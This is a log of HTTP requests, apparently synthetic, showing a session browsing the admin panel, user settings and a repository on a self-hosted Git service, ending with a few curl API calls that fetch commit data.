{"method": "GET", "target": "/user/search_candidates?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "X-Requested-With: XMLHttpRequest", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/search_candidates?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/emails", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/emails?q=example.com", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/orgs", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/repos", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/repos?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/auths", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/config", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/config/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/monitor/stats", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/monitor/queue", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/monitor/cron", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/hooks", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/gogs.ico", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/feishu.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/slack.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/discord.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/telegram.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/dingtalk.ico", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/msteams.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/wechatwork.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/packagist.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/sourcehut.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/notices", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users/2", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/users/2", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/account", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/appearance", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/security", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/keys", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/notifications", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=activity", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=stars", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/dashboard", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings/hooks", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings/units", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/migrate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=b7d8a1e4a0871671; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=b7d8a1e4a0871671; lang=en-US"], "body": ""}
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{"method": "GET", "target": "/api/v1/repos/alice/tools/media/src/process.env.d.ts", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/commits?path=scripts/install-script.sh&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/commits?sha=python3-migration", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
